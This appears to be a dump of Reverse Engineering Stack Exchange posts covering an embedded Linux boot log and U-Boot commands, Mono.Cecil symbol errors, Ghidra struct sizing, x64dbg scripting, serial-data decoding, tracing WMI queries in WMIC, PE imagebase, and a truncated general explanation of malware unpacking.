pps0: new PPS source ptp0 [ 1.592219] libphy: fec_enet_mii_bus: probed [ 1.606885] fec 2188000.ethernet eth0: registered PHC device 0 [ 1.613883] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver [ 1.620487] ehci-mxc: Freescale On-Chip EHCI Host driver [ 1.628031] usbcore: registered new interface driver usb-storage [ 1.647084] ci_hdrc ci_hdrc.0: EHCI Host Controller [ 1.652843] ci_hdrc ci_hdrc.0: new USB bus registered, assigned bus number 1 [ 1.683587] ci_hdrc ci_hdrc.0: USB 2.0 started, EHCI 1.00 [ 1.698253] hub 1-0:1.0: USB hub found [ 1.702545] hub 1-0:1.0: 1 port detected [ 1.717618] mousedev: PS/2 mouse device common for all mice [ 1.730961] input: iMX6UL Touchscreen Controller as /devices/soc0/soc/2000000.aips-bus/2040000.tsc/input/input0 [ 1.750908] snvs_rtc 20cc000.snvs:snvs-rtc-lp: rtc core: registered 20cc000.snvs:snvs-r as rtc0 [ 1.760393] i2c /dev entries driver [ 1.769849] IR NEC protocol handler initialized [ 1.774614] IR RC5(x/sz) protocol handler initialized [ 1.779735] IR RC6 protocol handler initialized [ 1.784383] IR JVC protocol handler initialized [ 1.788975] IR Sony protocol handler initialized [ 1.793698] IR SANYO protocol handler initialized [ 1.798460] IR Sharp protocol handler initialized [ 1.803216] IR MCE Keyboard/mouse protocol handler initialized [ 1.809147] IR XMP protocol handler initialized [ 1.818819] Driver for 1-wire Dallas network protocol. [ 1.835814] imx2-wdt 20bc000.wdog: timeout 60 sec (nowayout=0) [ 1.842347] Bluetooth: HCI UART driver ver 2.3 [ 1.846988] Bluetooth: HCI UART protocol H4 registered [ 1.852186] Bluetooth: HCI UART protocol LL registered [ 1.860610] sdhci: Secure Digital Host Controller Interface driver [ 1.866985] sdhci: Copyright(c) Pierre Ossman [ 1.871399] sdhci-pltfm: SDHCI platform and OF driver helper [ 1.944150] mmc0: SDHCI controller on 2190000.usdhc [2190000.usdhc] using ADMA [ 1.972370] sdhci-esdhc-imx 2194000.usdhc: allocated mmc-pwrseq [ 2.049183] mmc0: new DDR MMC card at address 0001 [ 2.054202] mmc1: SDHCI controller on 2194000.usdhc [2194000.usdhc] using ADMA [ 2.073896] usbcore: registered new interface driver usbhid [ 2.079543] usbhid: USB HID core driver [ 2.087169] mmcblk0: mmc0:0001 004G60 3.69 GiB [ 2.091635] mmcblk0boot0: mmc0:0001 004G60 partition 1 2.00 MiB [ 2.110057] mmcblk0boot1: mmc0:0001 004G60 partition 2 2.00 MiB [ 2.124280] mmcblk0rpmb: mmc0:0001 004G60 partition 3 512 KiB [ 2.127167] random: fast init done [ 2.163821] mmcblk0: p1 p2 p3 [ 2.202947] ad7291: probe of 0-002b failed with error -5 [ 2.219661] ad7291: probe of 0-0028 failed with error -5 [ 2.232817] ad7291: probe of 0-002c failed with error -5 [ 2.245991] ad7291: probe of 0-002e failed with error -5 [ 2.260294] ad7291: probe of 0-002f failed with error -5 [ 2.271157] ad7291: probe of 0-0020 failed with error -5 [ 2.277839] ad7291: probe of 0-0022 failed with error -5 [ 2.284355] ad7291: probe of 0-0023 failed with error -5 [ 2.290613] 0-0035 supply vcc not found, using dummy regulator [ 2.332144] NET: Registered protocol family 10 [ 2.370320] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver [ 2.391321] NET: Registered protocol family 17 [ 2.396669] bridge: automatic filtering via arp/ip/ip6tables has been deprecated. Update your scripts to load br_netfilter if you need this. [ 2.409469] can: controller area network core (rev 20120528 abi 9) [ 2.416208] NET: Registered protocol family 29 [ 2.420807] can: raw protocol (rev 20120528) [ 2.427567] can: broadcast manager protocol (rev 20160617 t) [ 2.433512] can: netlink gateway (rev 20130117) max_hops=1 [ 2.440819] Key type dns_resolver registered [ 2.448746] cpu cpu0: dev_pm_opp_get_opp_count: OPP table not found (-19) [ 2.511731] input: gpio-keys as /devices/soc0/gpio-keys/input/input1 [ 2.520111] snvs_rtc 20cc000.snvs:snvs-rtc-lp: setting system clock to 1970-01-01 00:09:20 UTC (560) [ 2.615271] vdd3p0: disabling [ 2.618343] 5V: disabling [ 2.622018] ALSA device list: [ 2.625126] No soundcards found. [ 2.641654] EXT4-fs (mmcblk0p2): INFO: recovery required on readonly filesystem [ 2.650095] EXT4-fs (mmcblk0p2): write access will be enabled during recovery [ 2.708695] EXT4-fs (mmcblk0p2): recovery complete [ 2.717027] EXT4-fs (mmcblk0p2): mounted filesystem with ordered data mode. Opts: (null) [ 2.725495] VFS: Mounted root (ext4 filesystem) readonly on device 179:2. [ 2.736339] devtmpfs: mounted [ 2.742408] Freeing unused kernel memory: 1024K (c0c00000 - c0d00000) [ 2.857744] EXT4-fs (mmcblk0p2): re-mounted. Opts: data=ordered [ 2.939440] EXT4-fs (mmcblk0p3): recovery complete [ 2.945394] EXT4-fs (mmcblk0p3): mounted filesystem with ordered data mode. Opts: (null) Starting logging: OK Starting mdev... Initializing random number generator... done. Starting system message bus: done Starting network: [ 4.657851] Micrel KSZ8081 or KSZ8091 2188000.ethernet:01: attached PHY driver [Micrel KSZ8081 or KSZ8091] (mii_bus:phy_addr=2188000.ethernet:01, irq=145) [ 4.676761] IPv6: ADDRCONF(NETDEV_UP): eth0: link is not ready udhcpc: started, v1.26.2 udhcpc: sending discover udhcpc: sending discover udhcpc: sending discover udhcpc: no lease, failing FAIL Starting dropbear sshd: OK Starting lighttpd: OK Starting sshd: key_load_private: invalid format key_load_public: invalid format Could not load host key: /etc/ssh/ssh_host_rsa_key key_load_private: invalid format key_load_public: invalid format Could not load host key: /etc/ssh/ssh_host_dsa_key key_load_private: invalid format key_load_public: invalid format Could not load host key: /etc/ssh/ssh_host_ecdsa_key key_load_private: invalid format key_load_public: invalid format Could not load host key: /etc/ssh/ssh_host_ed25519_key sshd: no hostkeys available -- exiting. OK /etc/init.d/rcS: line 26: /etc/init.d/S90init-carte-iminilide: Permission denied hwclock: settimeofday: Invalid argument hwclock : Thu Jan 1 00:09:33 1970 0.000000 seconds hwclock -r : Thu Jan 1 00:09:33 1970 0.000000 seconds date : Thu Jan 1 01:09:32 CET 1970 Welcome to Armadeus development platform ! opos6ul login: </code></pre> <p>And here are the available u-boot commands :</p> <pre><code>BIOS&gt; help ? - alias for 'help' askenv - get environment variables from stdin base - print or set address offset bdinfo - print Board Info structure bmode - spi-nor|normal|usb|sata|ecspi1:0|ecspi1:1|ecspi1:2|ecspi1:3|esdhc1|esdhc2|esdhc3|esdhc4 [noreset] bmp - manipulate BMP image data boot - boot default, i.e., run 'bootcmd' bootd - boot default, i.e., run 'bootcmd' bootefi - Boots an EFI payload from memory bootm - boot application image from memory bootp - boot image via network using BOOTP/TFTP protocol bootz - boot Linux zImage image from memory clocks - display clocks cmp - memory compare coninfo - print console devices and information cp - memory copy crc32 - checksum calculation dhcp - boot image via network using DHCP/TFTP protocol dm - Driver model low level access dns - lookup the IP of a hostname echo - echo args to console editenv - edit environment variable env - environment handling commands exit - exit script ext2load- load binary file from a Ext2 filesystem ext2ls - list files in a directory (default /) ext4load- load binary file from a Ext4 filesystem ext4ls - list files in a directory (default /) ext4size- determine a file's size ext4write- create a file in the root directory false - do nothing, unsuccessfully fatinfo - print information about filesystem fatload - load binary file from a dos filesystem fatls - list files in a directory (default /) fatsize - determine a file's size fdt - flattened device tree utility commands fstype - Look up a filesystem type fuse - Fuse sub-system go - start application at address 'addr' gpio - query and control gpio pins grepenv - search environment variables help - print command description/usage iminfo - print header information for application image imxtract- extract a part of a multi-image itest - return true/false on integer compare load - load binary file from a filesystem loadb - load binary file over serial line (kermit mode) loads - load S-Record file over serial line loadx - load binary file over serial line (xmodem mode) loady - load binary file over serial line (ymodem mode) loop - infinite loop on address range ls - list files in a directory (default /) md - memory display mdio - MDIO utility commands meminfo - display memory information mii - MII utility commands mm - memory modify (auto-incrementing address) mmc - MMC sub system mmcinfo - display MMC info mtest - simple RAM read/write test mw - memory write (fill) nfs - boot image via network using NFS protocol nm - memory modify (constant address) ping - send ICMP ECHO_REQUEST to network host printenv- print environment variables reset - Perform RESET of the CPU run - run commands in an environment variable save - save file to a filesystem saveenv - save environment variables to persistent storage setenv - set environment variables setexpr - set environment variable as the result of eval expression showvar - print local hushshell variables size - determine a file's size sleep - delay execution for some time source - run script from memory test - minimal test like /bin/sh tftpboot- boot image via network using TFTP protocol true - do nothing, successfully ums - Use the UMS [USB Mass Storage] usb - USB sub-system usbboot - boot from USB device version - print monitor, compiler and linker version </code></pre>
How to get root access on Linux embedded system?
|dump|
<p>So all the steps above are correct the way they were described. The only thing I have done wrong was, that my target <strong>DLL</strong> was modified by Mono.Cecil before (I already had read and wrote my target <strong>DLL</strong> and modified it by this way). So the <strong>DLL</strong> and the <strong>PDB</strong> was not the same anymore.</p> <p>So if you want to run Mono.Cecil just once and you get the exception above do the following things:</p> <ol> <li>Build your target application again (which should have all the DLL's and the corresponding PDB's for each DLL)</li> <li>Add <code>ReadSymbols = true</code> to the ReadParameters (in my case I don't want to write, so I need only the ReadParameters)</li> <li>Run your Mono.Cecil application</li> </ol> <p>Note: This is only a solution if you want to run Mono.Cecil once. If you want to run it again over your target <strong>DLL</strong>, you have to make all steps above again.</p> <p>Hopefully this will help someone!</p> <p>~Sulan</p>
27937
2021-07-03T12:22:08.447
<p>I tried to use a <strong>PDB</strong> file to map the Instructions to the Sequencepoints in Mono.Cecil and find out the line number of a method. But none of the answers in any forum seems to work, because no matter what I try the <strong>SymbolsNotMatchingException</strong> is thrown with the error message</p> <blockquote> <p>Symbols were found but are not matching the assembly&quot;.</p> </blockquote> <p>By the way, my target &quot;application&quot; is a Unity Game.</p> <p>Here is some code I use (side note: ProjectPath is the path to my target <code>*.dll</code>):</p> <pre><code>var resolver = new DefaultAssemblyResolver(); resolver.AddSearchDirectory(GetDLLsFolderToResolve(ProjectPath)); using var assembly = AssemblyDefinition.ReadAssembly(ProjectPath, new ReaderParameters { ReadWrite = true, AssemblyResolver = resolver, SymbolReaderProvider = new PdbReaderProvider(), ReadSymbols = true }); </code></pre> <p>I have already the <code>Mono.Cecil.dll</code> and <code>Mono.Cecil.Pdb.dll</code> in the same folder due to import Mono.Cecil via NuGet. Also, the target DLL and the PDB also are in the same folder.</p> <p>Does anybody have a working example? Or any idea how this error could be solved? Would be happy for any help.</p>
Mono.Cecil throws SymbolsNotMatchingException, how to find out Method line number?
|debugging|debuggers|c#|exception|pdb|
<pre><code>0005b0c2 40 f2 38 41 movw r1,#0x438 0005b0c6 04 46 mov r4,god 0005b0c8 c0 f2 70 01 movt r1=&gt;god_size_marker?,#0x70 </code></pre> <p>The <code>movw</code> and <code>movt</code> together will set <code>r1</code> to 0x700438 (0x70&lt;&lt;16 + 0x438) so this is the amount being cleared and likely the amount being allocated. It seems that Ghidra replaces it by the address expression just because there happens to be a variable at that address. You'll probably have to contact Ghidra support to figure out if there's a way to treat it as a number instead of address.</p>
27938
2021-07-03T16:24:56.497
<p>I'm attempting to figure out the structure of a &quot;God object&quot;.</p> <p>I found where it's being initialized, but I've never seen <code>calloc</code> used like this before:</p> <pre><code>god = (God *)calloc(1,(size_t)&amp;god_size_marker?); __aeabi_memclr8(god,&amp;god_size_marker?); </code></pre> <p>Where <code>God</code> is the structure that I'm currently attempting to figure out, and <code>god_size_marker?</code> is the name I gave to the pointer location.</p> <p>The bizarre thing is, it's passing a <em>pointer</em> to the second argument of <code>calloc</code>. If I have Ghidra follow <code>god_size_marker?</code>, I see:</p> <pre><code> god_size_marker? XREF[2]: create_instance:0005b0ac(*), create_instance:0005b0c8(*) 00700438 7d db 7Dh </code></pre> <p>So the address is 0x700438. If I manually set the structure to have a size of <code>0x700438</code>, that appears to fix the issue in <a href="https://reverseengineering.stackexchange.com/questions/27932/improving-ghidras-auto-structure-creator">my last question</a>, but that's ridiculous. What significance could a pointer into the <code>.rodata</code> section possibly have? This also apparently has the bizarre consequence of some field offsets in the struct coinciding with global variable addresses:</p> <pre><code>puVar4 = (uint *)&amp;DAT_007003e8; // These lines are right beside each other. Note the names. bVar20 = first_counter &lt;= *(uint *)&amp;god-&gt;field_0x7003e8; </code></pre> <p>Is it actually reasonable that they've initialized a struct's size using a pointer? To me, that suggests that Ghidra is misinterpreting something, and that there's something that I need to fix. I wouldn't even know where to start though from this behavior alone.</p> <p>For reference, here is the relevant disassembly of the calls to <code>calloc</code> and <code>__aebi_memclr8</code>:</p> <pre><code> 0005b0ac 05 f1 70 01 add.w r1=&gt;god_size_marker?,r5,#0x70 = 7Dh 0005b0b0 93 46 mov r11,r2 0005b0b2 00 68 ldr r0,[r0,#0x0]=&gt;-&gt;__stack_chk_guard = 01dbe014 0005b0b4 4f f0 01 0a mov.w r10,#0x1 0005b0b8 00 68 ldr r0,[r0,#0x0]=&gt;__stack_chk_guard = ?? 0005b0ba 19 90 str r0,[sp,#local_3c] 0005b0bc 01 20 movs r0,#0x1 0005b0be f8 f7 2c ec blx &lt;EXTERNAL&gt;::calloc void * calloc(size_t __nmemb, si... 0005b0c2 40 f2 38 41 movw r1,#0x438 0005b0c6 04 46 mov r4,god 0005b0c8 c0 f2 70 01 movt r1=&gt;god_size_marker?,#0x70 = 7Dh 0005b0cc f8 f7 ee eb blx &lt;EXTERNAL&gt;::__aeabi_memclr8 undefined __aeabi_memclr8() </code></pre> <p>Unfortunately, while I can read x86 assembly, my knowledge of ARM is fairly limited. Any insight as to what might be going on here would be appreciated.</p>
Ghidra showing pointer being given as size argument of calloc
|arm|ghidra|
<p>To launch a script, it has to be first <em>loaded</em> into x64dbg — <em>then</em> you will see it in the <em>Script</em> tab:<br />                                              <a href="https://i.stack.imgur.com/udatq.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/udatq.png" alt="enter image description here" /></a></p> <p>Before loading a script, the content of this tab is empty:</p> <p><a href="https://i.stack.imgur.com/6nAte.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/6nAte.png" alt="enter image description here" /></a></p> <p>You may load a script in any of the following ways:</p> <ol> <li><p>Copy the <em>content</em> of your script into clipboard, then switch to the <em>Script</em> tab, and paste it with<br /> <kbd>Shift</kbd>+<kbd>V</kbd> (NOT with <kbd>Ctrl</kbd>+<kbd>V</kbd>).</p> </li> <li><p>The same, but using the context menu (<em>Load Script → Paste</em>):</p> <p><a href="https://i.stack.imgur.com/hRTr5.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/hRTr5.png" alt="enter image description here" /></a></p> </li> <li><p>Switch to the <code>Script</code> tab, <kbd>Ctrl</kbd>+<kbd>O</kbd>, then select your script file.</p> </li> <li><p>The same, but using the context menu (<em>Load Script → Open...</em>) — as in the point 2.</p> </li> <li><p>Use the <code>scriptload</code> command with the path to your script file as an argument, for example</p> <pre><code>scriptload &quot;c:\Users\User\My Scripts\somescript.txt&quot; </code></pre> <p>Write it in the <em>Command:</em> box near the bottom left part of the x64dbg window and then press <kbd>Enter</kbd>:</p> <p><a href="https://i.stack.imgur.com/IREgM.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/IREgM.png" alt="enter image description here" /></a></p> </li> </ol> <p>After loading the script (with any of the previous methods), you will see it in the <em>Script</em> tab, and you may launch it with the <kbd>Space bar</kbd>, or by commands in the context menu:</p> <p><a href="https://i.stack.imgur.com/vaD6X.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vaD6X.png" alt="enter image description here" /></a></p>
27941
2021-07-04T12:37:29.090
<p>In the x64dbg manual is many <a href="https://help.x64dbg.com/en/latest/commands/script/index.html" rel="nofollow noreferrer">scripting commands</a> and other things, but nowhere in it is mentioned, how to launch a script.</p> <p>So, my question is: <em>How to launch a script in x64dbg?</em></p>
How to run a script in x64dbg
|x64dbg|
<p>So I managed to work it out... most importantly I needed to view it in ASCII as suggested in the comments.</p> <p>Turns out the samples I shared didn't contain examples of the 500+ mA readings like I expected after all.</p> <p>At any rate, it turns out that given the format....</p> <pre><code>:024IXXXX;YYYY </code></pre> <p>... then XXXX converted from hex to decimal + YYYY converted from hex to decimal = current displayed by software.</p>
27961
2021-07-06T19:44:52.173
<p>I'm working with an old irrigation controller that is connected to a PC via the DB9 serial port. I was able to capture that data (tapped into the appropriate TX wire) on a separate laptop, but now I'm stuck translating it into meaningful information.</p> <p>When idle, the controller continuously broadcasts the line current to the PC and because variable data stands out among static values, this seemed like a logical place to start deciphering the data. Below is an excerpt of the serial data while the system is idle:</p> <pre><code>ff 3a 30 32 34 49 30 30 38 34 3b 30 30 30 30 0d 0a ff 3a 30 32 34 49 30 30 38 36 3b 30 30 30 30 0d 0a ff 3a 30 32 34 49 30 30 38 35 3b 30 30 30 30 0d 0a ff 3a 30 32 34 49 30 30 38 34 3b 30 30 30 30 0d 0a ff 3a 30 32 34 49 30 30 37 45 3b 30 30 30 30 0d 0a ff 3a 30 32 34 49 30 30 37 43 3b 30 30 30 30 0d 0a ff 3a 30 32 34 49 30 30 37 43 3b 30 30 30 30 0d 0a </code></pre> <p>The bytes that I suspect of carrying the line current information are indicated with <code>__</code> below, as all of the other bytes remain static when system is idle:</p> <pre><code>ff 3a 30 32 34 49 30 30 __ __ 3b 30 30 30 30 0d 0a </code></pre> <p>There is a test cycle that can be run to check current before, during, and after activation of a particular sprinkler head. Here is an excerpt of that:</p> <pre><code>ff 3a 30 32 34 49 30 30 38 31 3b 30 30 30 30 0d 0a (system idle, typical current ~130 mA) ff 3a 30 34 0d 0a (system wait) ff 3a 30 32 34 49 30 30 38 36 3b 30 30 30 30 0d 0a (system active, typical current ~550 mA) ff 3a 30 34 0d 0a (system wait) ff 3a 30 32 34 49 30 30 38 35 3b 30 30 30 30 0d 0a (system idle, typical current ~210 mA) </code></pre> <p>There are two pairs of wires leaving the controller, but I suspect the controller reports the total combined current rather than reporting them separately.</p> <p>Current values approximately 130 mA while idle, and around 550 mA while active, but I'm struggling to find a way to translate &quot;38 34&quot;, &quot;37 45&quot; etc. into meaningful values.</p> <p>This is my first foray into this sort of puzzle, so any related advice/tips/suggestions for deciphering serial data would be welcome.</p> <p><em><strong>Edit:</strong></em> Omitting the leading &quot;ff&quot;, below is the appearance in ASCII form.</p> <p><em>idle state:</em></p> <pre><code>:024I007D;0000 :024I0082;0000 :024I0080;0000 :024I0084;0000 :024I0086;0000 :024I0082;0000 :024I0081;0000 :024I0080;0000 :024I0082;0000 :024I0086;0000 :024I0084;0000 :024I007E;0000 :024I007E;0000 :024I0080;0000 :024I0081;0000 :024I0080;0000 :024I007E;0000 :024I0081;0000 :024I0085;0000 :024I0085;0000 :024I0086;0000 :024I0081;0000 </code></pre> <p><em>running:</em></p> <pre><code>:024I0081;0000 (system idle) :04 (system wait) :024I0086;0000 (system running) :04 (system wait) :024I0085;0000 (system idle) :04 :04 :04 :024I0080;0000 :04 :024I0081;0000 :04 :024I007E;0000 </code></pre>
Strategies for Deciphering RS-232 Data
|hex|serial-communication|hexadecimal|
<p>I am Not sure what you are looking for if you execute in say wmic</p> <pre><code>C:\WINDOWS\system32&gt;wmic os get Name </code></pre> <p>you get back</p> <pre><code>Name Microsoft Windows 10 Pro|C:\WINDOWS|\Device\Harddisk0\Partition4 </code></pre> <p>this is executed with your select *from sql or wql query<br /> here is a call stack and relevent info</p> <p>broken at</p> <pre><code>0:000&gt; rM0 WMIC!CExecEngine::ProcessSHOWInfo: 00007ff7`a6fc5590 4053 push rbx </code></pre> <p>call stack</p> <pre><code>0:000&gt; kP Child-SP RetAddr Call Site 0000008c`90c9f6a8 00007ff7`a6fc2ffe WMIC!CExecEngine::ProcessSHOWInfo 0000008c`90c9f6b0 00007ff7`a6fe9141 WMIC!CExecEngine::ExecuteCommand+0x1ae 0000008c`90c9f750 00007ff7`a6fe8060 WMIC!CWMICommandLine::ProcessCommandAndDisplayResults+0x5f5 0000008c`90c9f910 00007ff7`a6feee6d WMIC!wmain+0x934 0000008c`90c9fb20 00007ff8`96f07c24 WMIC!__wmainCRTStartup+0x14d 0000008c`90c9fb60 00007ff8`986cd721 KERNEL32!BaseThreadInitThunk+0x14 0000008c`90c9fb90 00000000`00000000 ntdll!RtlUserThreadStart+0x21 </code></pre> <p>script dumping arg1@rcx *rcx **rcx,arg2 @rdx....,arg3@r8....,arg4@r9...</p> <pre><code>0:000&gt; $$&gt;a&lt; &quot;xxxxx\arg64.wds&quot; rcx=00007ff7a70198e0 ========= @rcx 00007ff7`a70198e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 00007ff7`a70198f0 e0 2d 88 07 f5 01 00 00-00 00 00 00 00 00 00 00 .-.............. ========= *@rcx 00000000`00000000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000000`00000010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? rdx=00007ff7a70199e8 ========= @rdx 00007ff7`a70199e8 c0 e4 a8 07 f5 01 00 00-60 e5 a8 07 f5 01 00 00 ........`....... 00007ff7`a70199f8 20 01 73 09 f5 01 00 00-00 00 00 00 00 00 00 00 .s............. ========= *@rdx 000001f5`07a8e4c0 20 00 6f 00 73 00 20 00-67 00 65 00 74 00 20 00 .o.s. .g.e.t. . 000001f5`07a8e4d0 4e 00 61 00 6d 00 65 00-00 00 ab ab ab ab ab ab N.a.m.e......... r8=0000000000000001 ========= @r8 00000000`00000001 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000000`00000011 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? ========= *@r8 Memory access error at ') ' r9=0000000000000000 ========= @r9 00000000`00000000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? 00000000`00000010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ???????????????? ========= *@r9 Memory access error at ') ' </code></pre> <p>the second argument contins your sql/ wql query</p> <pre><code>0:000&gt; dpu @rdx 00007ff7`a70199e8 000001f5`07a8e4c0 &quot; os get Name&quot; 00007ff7`a70199f0 000001f5`07a8e560 &quot;os&quot; 00007ff7`a70199f8 000001f5`09730120 &quot;Installed Operating System/s management. &quot; 00007ff7`a7019a00 00000000`00000000 00007ff7`a7019a08 00000000`00000000 00007ff7`a7019a10 00000000`00000000 00007ff7`a7019a18 000001f5`097300d0 &quot;get&quot; 00007ff7`a7019a20 00000000`00000000 00007ff7`a7019a28 00000000`00000000 00007ff7`a7019a30 00000000`00000000 00007ff7`a7019a38 00000000`00000000 00007ff7`a7019a40 000001f5`07a8ee00 &quot;Select * from Win32_OperatingSystem&quot; 00007ff7`a7019a48 00000000`00000000 00007ff7`a7019a50 00000000`00000001 00007ff7`a7019a58 000001f5`07a81770 &quot;ᝰ.ǵ&quot; 00007ff7`a7019a60 00000000`00000000 0:000&gt; </code></pre> <p>if you follow further you can see instead of wildcard a specific attribute is queried</p> <pre><code>0:000&gt; rM0 WMIC!CExecEngine::ObtainXMLResultSet: 00007ff7`a6fc3030 4c8bdc mov r11,rsp 0:000&gt; r rcx,rdx,r8,r9 rcx=00007ff7a70198e0 rdx=00000204437822d8 r8=00007ff7a70199e8 r9=0000003789d3b5b8 0:000&gt; du /c 100 @rdx 00000204`437822d8 &quot;SELECT Name FROM Win32_OperatingSystem&quot; 0:000&gt; </code></pre> <p><a href="https://docs.microsoft.com/en-us/windows/win32/wmisdk/example--getting-wmi-data-from-the-local-computer" rel="nofollow noreferrer">there is a documented example to retrieve data from wmi methods here</a></p> <p>compiling it and tracing it you can see the method being resolved in fastprox.dll as below</p> <pre><code>0:000&gt; dps @rax+0xa0 l1 00007ff8`855846b0 00007ff8`854ec8f0 fastprox!CWbemSvcWrapper::XWbemServices::ExecQuery 0:000&gt; r rax=00007ff885584610 rbx=00007ff669e67bc8 rcx=00000160178261a0 rdx=00000160178122b8 rsi=0000000000000000 rdi=00000160177e65e0 rip=00007ff669da1638 rsp=00000050a376faf0 rbp=0000000000000000 r8=000001601781fb08 r9=0000000000000030 r10=00000050a376fa20 r11=00000160178122b8 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 wbemexec!main+0x448: 00007ff6`69da1638 ff90a0000000 call qword ptr [rax+0A0h] ds:00007ff8`855846b0={fastprox!CWbemSvcWrapper::XWbemServices::ExecQuery (00007ff8`854ec8f0)} 0:000&gt; ?? @rax == @@masm(poi(@rcx)) bool true 0:000&gt; du @rdx 00000160`178122b8 &quot;WQL&quot; 0:000&gt; du @r8 00000160`1781fb08 &quot;SELECT * FROM Win32_OperatingSys&quot; 00000160`1781fb48 &quot;tem&quot; 0:000&gt; </code></pre> <p>here is the same fastprox::..::execquery being called from wmic command prior to editing of the answer</p> <pre><code>0:000&gt; rM0 fastprox!CWbemSvcWrapper::XWbemServices::ExecQuery: 00007ff8`854ec8f0 4c8bdc mov r11,rsp 0:000&gt; kp Child-SP RetAddr Call Site 00000017`37abb518 00007ff7`ce3931c5 fastprox!CWbemSvcWrapper::XWbemServices::ExecQuery 00000017`37abb520 00007ff7`ce395e3d WMIC!CExecEngine::ObtainXMLResultSet+0x195 00000017`37abb760 00007ff7`ce392ffe WMIC!CExecEngine::ProcessSHOWInfo+0x8ad 00000017`37abf960 00007ff7`ce3b9141 WMIC!CExecEngine::ExecuteCommand+0x1ae 00000017`37abfa00 00007ff7`ce3b8060 WMIC!CWMICommandLine::ProcessCommandAndDisplayResults+0x5f5 00000017`37abfbc0 00007ff7`ce3bee6d WMIC!wmain+0x934 00000017`37abfdd0 00007ff8`96f07c24 WMIC!__wmainCRTStartup+0x14d 00000017`37abfe10 00007ff8`986cd721 KERNEL32!BaseThreadInitThunk+0x14 00000017`37abfe40 00000000`00000000 ntdll!RtlUserThreadStart+0x21 0:000&gt; du @rdx; du /c 100 @r8 00000209`96d22868 &quot;WQL&quot; 00000209`96d76d38 &quot;SELECT Name FROM Win32_OperatingSystem&quot; 0:000&gt; dps poi(@rcx)+a0 l1 00007ff8`855846b0 00007ff8`854ec8f0 fastprox!CWbemSvcWrapper::XWbemServices::ExecQuery 0:000&gt; </code></pre>
27965
2021-07-07T17:14:18.843
<p>I want to implement WMI query detection function using apimon plugin in sandbox <a href="https://github.com/tklengyel/drakvuf" rel="nofollow noreferrer">https://github.com/tklengyel/drakvuf</a></p> <p>To do it,I have to get the DLL symbol file. But I can't locate the <code>IWbemServices::ExecQuery</code> method in any DLL.</p> <p>Is there any idea to detect wmi query string like <code>select * from win32_operatingsystem</code> only using API monitoring?</p>
Want to use win API hooking to detect wmi query string? But can't find IWbemServices::ExecQuery in fastprox.dll
|windows|malware|
<p>From <a href="https://docs.microsoft.com/en-us/windows/win32/debug/pe-format" rel="nofollow noreferrer">Microsoft docs</a>:</p> <blockquote> <p>The preferred address of the first byte of image when loaded into memory [...] The default for DLLs is 0x10000000. [...] The default for Windows NT, Windows 2000, Windows XP, Windows 95, Windows 98, and Windows Me is 0x00400000</p> </blockquote> <p>So, in case of exe, you can usually expect that it will be loaded at <code>0x400000</code> address and when you load the dll, it is loaded at <code>0x10000000</code> by default. All these values correspond only to particular process' virtual memory.</p> <p>PE files may have different image bases than the default ones. So if a dll has <code>ImageBase = 0x20000000</code>, you can expect it to be loaded at this address instead. Note however, that it is only the <em>preferred</em> address - it may be changed if, for example, second dll that is loaded into the same process already occupies this space.</p> <p>If you have any more doubts regarding PE format, you can either follow the docs linked above or slightly more compact description <a href="https://www.aldeid.com/wiki/PE-Portable-executable" rel="nofollow noreferrer">here</a>.</p>
27966
2021-07-07T17:24:28.580
<p>In part 3 of lena RE tutorial, i see a word : imagebase</p> <p>Can anyone tell me more about this and better meaning of this word?</p> <p><a href="https://i.stack.imgur.com/iKJkD.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/iKJkD.jpg" alt="enter image description here" /></a></p>
What is imagebase word means used in Lena151 RE tutorial?
|pe|
<p>That's a set of very wide questions ...</p> <p>I'll try to answer as good as I can, but you are asking for something that is so broad, I'm afraid that I can't answer everything.</p> <ol> <li> <blockquote> <p>What is unpacking?</p> </blockquote> </li> </ol> <p>Unpacking is the action of removing the protections layers used by malware in order to reach its core payload. When a malware is packed, everything looks scrambles and messy, and you can't really see (from a static point of view) what the payload is doing. Try to see it like an &quot;armor&quot; around the malware, only here to slow down your analysis (and mess with AV product performing static detection). If you find a sample that is packed, you generally don't have any clue on what is the malware inside this 'protection' nor what it's doing, unless you unpack it.</p> <ol start="2"> <li> <blockquote> <p>Which tools need to unpack a software?</p> </blockquote> </li> </ol> <p>A simple debugger can help you unpack the majority of packers. Sometime you'll also find automated unpacker scripts for well-known packers (standalone or compatible with your debugger or even static unpacker). Sometimes the packer is open-source, and contains unpacking capabilities. You also have some online services that are able to unpack stuff for you (Thinking about unpac[.]me).</p> <ol start="3"> <li> <blockquote> <p>Is there anyway for manual unpack?</p> </blockquote> </li> </ol> <p>Yes. The rule is simple: if the malware is running (meaning that it is able to unpack itself at runtime and execute it's core payload), you will always have the ability to trace everything and examine its behavior. What is important is not 'can I do it manually' — the answer will only be 'yes', but 'how much time can I spend on this?' or 'is the complexity level worth my time?'.</p> <ol start="4"> <li> <blockquote> <p>How to unpack software that used unknown packer?</p> </blockquote> </li> </ol> <p>After a bit of experience, you'll find that common packers are designed in the same way, and are using the same techniques. You'll always find a new clever technique from time to time, but the philosophy behind it will stay the same. If you are stuck on an unknown packer, you can try to find which packer does this look's like, and where are the differences. And remember, if it runs, you can always dump the unpacked process :) You don't have to manually unpack everything.</p> <ol start="5"> <li> <blockquote> <p>Is there any 